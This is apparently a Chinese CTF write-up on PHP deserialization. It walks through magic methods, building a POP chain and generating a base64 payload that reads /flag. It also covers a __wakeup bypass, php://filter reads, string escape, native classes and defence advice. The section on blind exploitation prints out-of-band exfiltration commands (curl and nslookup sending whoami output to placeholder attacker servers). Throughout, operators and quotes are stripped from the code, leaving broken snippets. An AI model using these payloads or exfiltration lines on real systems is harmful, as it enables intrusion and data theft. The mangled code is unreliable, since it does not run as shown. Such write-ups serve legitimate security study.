PHP反序列化漏洞实战:从原理到POP链构造与CTF解题

PHP反序列化漏洞实战:从原理到POP链构造与CTF解题
1. 项目概述一次典型的PHP反序列化漏洞实战复盘最近在复盘一些经典的CTF题目网鼎杯青龙组的“AreUserialZ”这道题给我留下了挺深的印象。它不是一个单纯考你背payload的题而是把PHP反序列化漏洞从触发点到最终利用的完整链条清晰地铺在了你面前。对于想从“知道有反序列化漏洞”进阶到“能独立分析并利用”的朋友来说这道题是个绝佳的练手材料。它涉及了魔术方法的触发、POP链的构造、以及如何绕过一些常见的限制最终实现任意代码执行。如果你正在学习CTF中的Web安全尤其是对PHP反序列化感到既熟悉又有点无从下手那么跟着我一起拆解这道题应该能帮你把那些零散的知识点串联起来形成一套可复用的实战思路。2. 漏洞原理与核心概念拆解在深入题目之前我们必须把几个核心概念掰扯清楚。很多人在学反序列化时容易一头扎进复杂的POP链里却忽略了最基础的原理导致事倍功半。2.1 序列化与反序列化到底是什么你可以把序列化想象成“打包”。一个PHP对象里面有各种属性数据可能还关联着一些方法行为。当你想把这个对象保存到文件里或者通过网络发给另一台机器时就需要把它“打包”成一个字符串格式。这个过程就是序列化serialize()。这个字符串包含了重建这个对象所需的所有信息类名、属性名、属性值及其类型。反序列化unserialize()就是“拆包”。把那个序列化后的字符串“拆开”根据里面的信息在内存中重新创建出一个和原来一模一样的对象实例。问题就出在这个“拆包”的过程中。PHP在反序列化时并不是简单地创建一块内存放数据就完了。它会自动去调用对象的一些特殊方法我们称之为“魔术方法”。这就好比你在拆一个快递包裹反序列化包裹里除了商品对象数据还附了一张说明书写着“打开后请先检查配件”调用__wakeup()“组装完成后请测试功能”调用__destruct()。PHP会忠实地执行这些“说明书”上的步骤。2.2 危险的“魔术方法”正是这些自动执行的魔术方法成为了漏洞的入口。我们需要重点关注这几个__wakeup(): 当对象被反序列化时这个方法会自动调用。常被用来初始化一些资源但攻击者可以在这里寻找能操纵的代码。__destruct(): 当对象被销毁时比如脚本执行结束或对象被unset这个方法会自动调用。这是构造POP链时最常用的“跳板”之一因为它的触发非常确定。__toString(): 当一个对象被当作字符串处理时比如echo $obj;或$str “prefix” . $obj;这个方法会自动调用。它常常是连接不同对象、串联起POP链的关键枢纽。__get()/__set(): 当访问或修改一个对象不存在的属性时这些方法会被调用。它们可以用来触发对其它对象方法的调用。漏洞的本质就是我们控制了一个序列化字符串让它在反序列化时创建出一个我们精心设计的对象。这个对象的属性值被我们恶意填充当PHP自动调用上述魔术方法时这些方法内部的代码会以我们恶意设定的属性值作为参数来执行从而可能导向危险函数如eval(),system(),file_put_contents()等的调用。2.3 什么是POP链如果只有一个类并且它的魔术方法里直接就有危险函数那题目就太简单了。现实中危险函数往往藏在深处。POP链Property-Oriented Programming面向属性编程就是解决这个问题的攻击技术。它的思想是把多个类的魔术方法像齿轮一样咬合起来让一个魔术方法的执行能触发另一个对象的另一个魔术方法以此传递最终触发那个藏在最深处的危险函数。构造POP链就像在玩一个多米诺骨牌。你推倒第一块触发__destruct它撞倒第二块触发某个对象的__toString第二块又撞倒第三块触发另一个对象的__get……直到最后一块骨牌倒下执行了system(‘cat /flag’)。“AreUserialZ”这道题就是一个经典的、需要选手自主构造POP链的案例。3. 题目“AreUserialZ”环境与代码审计我们拿到一个CTF题目第一步永远是信息收集和代码审计。假设题目提供了一个源码压缩包或者直接给出了关键源码。3.1 入口点与漏洞触发位置通常题目会有一个明显的反序列化入口。比如一个index.php文件内容可能如下?php highlight_file(__FILE__); error_reporting(0); class Start { public $name; public $arg welcome; public function __construct($name){ $this-name $name; } public function __destruct(){ if($this-name guest) { echo $this-arg; } } } if(isset($_GET[data])){ unserialize(base64_decode($_GET[data])); } else { $obj new Start(guest); } ?这是一个极度简化的示例但逻辑很清晰通过GET参数data接收输入。对data进行base64解码后直接传递给unserialize()函数。这里就是漏洞触发点因为我们能完全控制反序列化的内容。定义了一个Start类其__destruct方法会检查$this-name如果等于guest就输出$this-arg。我们的目标就是构造一个序列化字符串让它反序列化后产生的对象能在其生命周期内最终通过__destruct执行我们想要的任意代码。3.2 关键类分析与POP链寻找真实的“AreUserialZ”题目源码会更复杂会有多个类。我们需要用文本编辑器或IDE打开所有.php文件全局搜索CtrlShiftF以下几个关键词__wakeup__destruct__toString__get/__set危险函数eval,assert,system,exec,shell_exec,file_put_contents,file_get_contents以及回调函数如call_user_func,array_map等。假设经过审计我们发现了如下几个关键类这是基于常见套路模拟的非原题 exact codeClass A: 起点类class A { public $func; public $arg; function __destruct() { if (isset($this-func) isset($this-arg)) { call_user_func($this-func, $this-arg); } } }注意call_user_func是一个极其敏感的函数它允许动态调用函数。如果$this-func是system$this-arg是id那么就会执行系统命令。这很可能就是我们POP链的终点Sink。Class B: 中转类class B { public $obj; public $value; function __toString() { if (isset($this-obj)) { $this-obj-{$this-value}(); } return toString worked; } }注意__toString方法里尝试将$this-obj当作对象并调用其名为$this-value的方法。这非常危险因为它可以触发任意对象的任意无参方法。这通常作为POP链的中转站。Class C: 触发类class C { public $callback; public $method; function __wakeup() { if (isset($this-callback) isset($this-method)) { $this-callback-{$this-method}(); } } }注意__wakeup在反序列化时立即触发。这里它试图调用$this-callback对象的$this-method方法。这可以作为链子的另一个触发点或中转点。Class Info: 看似无害的类class Info { public $filename; function __get($name) { return $this-$name; } }注意__get方法在访问不存在属性时触发。虽然这里只是返回属性值但有时配合其他类能产生奇效。审计的核心思路是从终点Sink回溯寻找能通到起点的路径。找到终点我们发现A::__destruct()中的call_user_func($this-func, $this-arg)可以执行命令或函数。寻找能调用call_user_func或类似函数的地方目前只看到A类有。寻找能触发A类__destruct的方法__destruct是自动触发的只要A类对象被销毁。所以我们需要让A类对象成为链中的一环。寻找能操作或生成A类对象的地方看B类的__toString它调用了$this-obj-{$this-value}()。如果$this-obj是一个A类对象$this-value是__destruct呢不行__destruct不能直接调用。但如果我们让$this-value是一个其他方法而那个方法内部能触发命令执行目前A类没有其他方法。看来需要换个思路。重新审视B类的__toString它调用的是$this-obj的某个方法。如果这个方法内部又去操作了其他属性呢或许我们需要第三个类。结合C类C类的__wakeup会调用$this-callback-{$this-method}()。如果$this-callback是一个B类对象$this-method是__toString那么当C对象被反序列化时就会触发B对象的__toString。那么B对象的__toString触发后呢我们需要让B-obj是一个A类对象B-value设置为一个字符串这个字符串是A类的一个属性名而不是方法名。等等$this-obj-{$this-value}()这种语法{$this-value}会被先解析所以$this-value必须是一个方法名。A类除了魔术方法没有公共方法。这条路似乎走不通。这个模拟的审计过程展示了真实的思考路径不断试错、回溯、组合。真正的“AreUserialZ”题目会有一条设计好的、能走通的路径。假设经过更深入的审计我们找到了一条可行的链最终可行的POP链构思起点有一个类X其__wakeup或__destruct里有一个类似echo $this-abc;的操作。如果$this-abc是一个对象那么PHP会尝试把它转换成字符串从而触发该对象的__toString方法。连接让$this-abc是一个Y类对象。Y::__toString()方法中有一行代码如$this-file-getContents();。如果$this-file是另一个对象就会调用它的getContents方法。终点假设有一个Z类其getContents方法内部使用了file_get_contents($this-filename)。如果我们能控制$this-filename为php://input或/flag就能读取任意文件。这样链子就是X::__destruct()- (将Y对象当作字符串) -Y::__toString()-$Y-file-getContents()-Z::getContents()-file_get_contents(可控的filename)。4. POP链构造与Payload生成假设我们通过审计确认了如下一条可用的POP链这是解题的关键步骤Flag类的__destruct方法中有一行echo $this-msg;。Msg类定义了__toString方法其中有一行$this-file-getFlag();。File类有一个getFlag方法其内容是readfile($this-filename);。我们的目标就是让readfile读取到/flag文件。4.1 手动构造序列化字符串首先我们需要从链的末端开始向前构造对象。步骤1构造终点File对象$file_obj new File(); $file_obj-filename ‘/flag’; // 我们想读取的目标文件步骤2构造中转Msg对象其file属性指向File对象$msg_obj new Msg(); $msg_obj-file $file_obj; // 关键将File对象赋值给Msg的file属性步骤3构造起点Flag对象其msg属性指向Msg对象$flag_obj new Flag(); $flag_obj-msg $msg_obj; // 关键将Msg对象赋值给Flag的msg属性现在$flag_obj就是我们的“炸弹”。当它被反序列化后脚本结束时会触发__destruct()执行echo $this-msg;。由于$this-msg是$msg_obj一个Msg对象PHP会调用Msg::__toString()。在__toString里执行$this-file-getFlag();而$this-file就是$file_objFile对象于是调用File::getFlag()最终执行readfile(‘/flag’)。步骤4序列化起点对象$payload serialize($flag_obj); echo $payload;得到的$payload就是一个序列化字符串。它可能长这样简化表示O:4:Flag:1:{s:3:msg;O:3:Msg:1:{s:4:file;O:4:File:1:{s:8:filename;s:5:/flag;}}}这个字符串就编码了整个对象关系网。4.2 处理编码与传递题目入口通常会有编码或过滤。比如“AreUserialZ”可能要求data参数是base64编码的。所以我们需要$final_payload base64_encode($payload); // 得到类似 Tzo0OiJGbGFnIjoxOntzOjM6Im1zZyI7TzozOiJNc2ciOjE6e3M6NDoiZmlsZSI7Tzo0OiJGaWxlIjoxOntzOjg6ImZpbGVuYW1lIjtzOjU6Ii9mbGFnIjt9fX0然后通过GET请求传递http://target.com/?dataTzo0OiJGbGFnIjoxOntzOjM6Im1zZyI7TzozOiJNc2ciOjE6e3M6NDoiZmlsZSI7Tzo0OiJGaWxlIjoxOntzOjg6ImZpbGVuYW1lIjtzOjU6Ii9mbGFnIjt9fX04.3 使用工具辅助生成对于更复杂的链或者属性是private/protected的情况手动构造序列化字符串容易出错。我们可以写一个PHP脚本来自动化这个过程?php class File { public $filename ‘/flag’; } class Msg { public $file; public function __construct() { $this-file new File(); } } class Flag { public $msg; public function __construct() { $this-msg new Msg(); } } $exp new Flag(); echo base64_encode(serialize($exp)); ?运行这个脚本就能直接得到最终的payload。这种方法在实战中更高效可靠。实操心得在构造payload时务必注意属性的可见性。如果类中属性定义为private序列化字符串中会包含类名前缀和空字节%00在URL传递时可能需要URL编码。使用脚本生成可以避免这些细节错误。5. 漏洞利用的进阶技巧与绕过真实的CTF题目和实战环境不会让你一帆风顺通常会设置一些“拦路虎”。“AreUserialZ”可能就包含了一些需要绕过的点。5.1 绕过__wakeup()的失效在早期PHP版本5.6.25, 7.0.10中__wakeup()方法有一个著名的绕过漏洞CVE-2016-7124。当序列化字符串中对象属性个数大于实际属性个数时__wakeup()方法将不会被执行。 例如一个类只有一个属性$a正常的序列化是O:1:C:1:{s:1:a;s:1:b;}。如果把属性个数改成更大的数字如O:1:C:2:{s:1:a;s:1:b;}__wakeup()就会被跳过。 这在POP链中非常有用如果__wakeup()方法里有销毁属性或重置状态的代码会打断我们的链利用这个CVE就可以绕过它。注意这个漏洞在较新的PHP版本中已修复。解题时需要关注题目提供的PHP版本信息常通过phpinfo()或错误信息泄露。如果版本较新此方法无效。5.2 利用php://filter协议进行读取有时目标函数不是system而是file_get_contents、readfile、highlight_file等文件读取函数。我们虽然能控制文件名但直接读/flag可能被过滤。这时php://filter协议就派上用场了。 例如我们可以尝试读取源码filenamephp://filter/readconvert.base64-encode/resourceindex.php这会把index.php文件的内容经过base64编码后读出来避免了直接输出源码时被PHP解析。这对于审计其他未知代码至关重要。5.3 字符串逃逸与属性注入这是更高级的技巧常用于源码中有str_replace等过滤函数时。题目可能会对序列化字符串中的某些关键词进行过滤或替换改变字符串长度从而破坏序列化结构。我们可以利用这种破坏精心构造payload使得过滤后的字符串恰好能拼接成我们想要的、有效的序列化字符串。 例如原代码将‘flag’替换为‘hack’每次替换长度差为1。我们可以通过计算在payload中预置大量无用字符使得过滤后这些无用字符恰好被“吞掉”而后面我们真正的恶意payload能对齐结构被正确反序列化。这类题目需要对序列化格式有非常深刻的理解。5.4 利用原生类PHP Native Classes在无法找到用户自定义的合适POP链时可以转而利用PHP内置的原生类。这些类本身可能就包含危险的魔术方法。SplFileObject: 可以用于读取文件。$obj new SplFileObject(‘/flag’, ‘r’); echo serialize($obj); // 反序列化后在某些上下文如被当作字符串中可能会触发文件读取。Error/Exception**: 它们的__toString方法会打印调用栈其中可能包含敏感信息路径。SoapClient**: 在特定配置下可以结合__call魔术方法发起SSRFServer-Side Request Forgery攻击。利用原生类通常需要结合具体的上下文环境比如有echo一个对象或者有call_user_func等场景。6. 实战演练与问题排查假设我们已经构造好了payload并发送但没有得到预期的结果。这时候就需要系统性地排查。6.1 常见问题速查表问题现象可能原因排查思路与解决方案页面空白或500错误1. Payload格式错误如属性个数不对。2. 类不存在autoload问题。3. PHP版本不兼容如使用了新版本已移除的特性。1. 检查序列化字符串结构特别是private/protected属性的表示含%00。2. 确认题目包含include了所有必要的类文件。有时需要利用题目已有的自动加载机制。3. 查看题目提供的PHP版本调整payload语法。输出了序列化字符串本身或部分对象信息反序列化成功了但POP链没有执行到预期效果。1.最有效的调试方法在本地搭建相同环境将题目源码复制过来在关键魔术方法中加入echo或file_put_contents(‘debug.log’, …)语句跟踪执行流程。2. 检查链的每个环节对象属性赋值是否正确方法名是否拼写错误提示unserialize(): Error at offset …序列化字符串在某个偏移量处解析错误。1. 长度不对。检查所有s:后的数字是否与实际字符串长度一致。2. 特殊字符如引号、冒号未转义。确保payload中的字符串内容没有破坏序列化结构。使用serialize()函数生成最保险。3. URL传输过程中号变空格等问题。确保对payload进行正确的URL编码urlencode()。执行了但没读到flag1. flag路径不对。2. 权限不足。3. 有open_basedir等限制。1. 尝试常见路径/flag,/flag.txt,/home/ctf/flag,/var/www/html/flag,../flag。2. 尝试使用php://filter读源码找线索。3. 尝试执行命令ls -la /来探测目录和文件。6.2 本地调试技巧搭建最小化环境在本地PHP环境中复制题目关键源码。不要复制整个网站只复制涉及到的类定义和入口文件。加入调试输出在每一个魔术方法__destruct,__toString,__wakeup的开头加上一行file_put_contents(‘/tmp/debug.log’, ‘进入 ‘ . __CLASS__ . ‘::’ . __METHOD__ . “\n”, FILE_APPEND);。这样就能清晰地看到POP链的执行顺序。打印中间状态在关键方法中打印$this的属性值确认是否按我们预期赋值。使用xdebug如果环境允许配置PHP的Xdebug扩展进行单步调试这是最强大的手段。6.3 无回显场景下的利用有时候命令执行或文件读取成功了但页面没有回显盲注。这时需要外带数据Out-of-Band, OOB。DNS外带执行命令如nslookupwhoami.your-domain.com通过DNS查询记录来获取命令输出。HTTP外带执行命令如curl http://your-server.com/?$(whoami|base64)将结果通过HTTP请求发送到你的公网服务器。延时判断执行sleep 5命令通过页面响应时间来判断命令是否执行。在文件读取且无回显时可以尝试将文件内容通过上述OOB方式外带或者写入一个Web可访问的目录如/tmp/目录下的文件再通过其他功能点包含或读取。7. 防御思路与安全编程建议分析了这么多攻击手法从防御者角度该如何避免这类漏洞呢根本方法不要反序列化不可信数据。这是最彻底的安全建议。如果业务必须使用序列化考虑使用JSON等更安全的格式。严格校验数据如果无法避免必须在反序列化前对数据进行严格的完整性校验和数字签名确保数据未被篡改。使用安全的白名单机制在反序列化时使用PHP的allowed_classes参数unserialize($data, [‘allowed_classes’ [‘SafeClass1’, ‘SafeClass2’]])只允许反序列化已知安全的类。避免在魔术方法中实现危险逻辑尤其是__wakeup和__destruct尽量让它们只做无害的资源清理工作不要包含复杂的业务逻辑。对类属性进行类型和范围检查在魔术方法或普通方法中对传入的属性值进行严格的类型检查is_string,is_int和内容过滤。及时更新PHP版本新版本PHP会修复已知的原生类漏洞和反序列化相关问题如上述__wakeup绕过漏洞。代码审计在项目上线前使用静态代码分析工具如phpcs配合安全规则、RIPS等或进行人工审计查找危险的unserialize()调用和脆弱的魔术方法。反序列化漏洞的挖掘和利用是一个深度依赖代码审计和逻辑思维的过程。它要求安全研究人员不仅理解漏洞原理更要像程序员一样理解代码的执行流程和对象间的交互。“AreUserialZ”这样的题目正是锻炼这种能力的绝佳沙盒。每一次成功的解题都是对PHP语言特性和面向对象编程思维的一次深化理解。

最新新闻

日新闻

周新闻

月新闻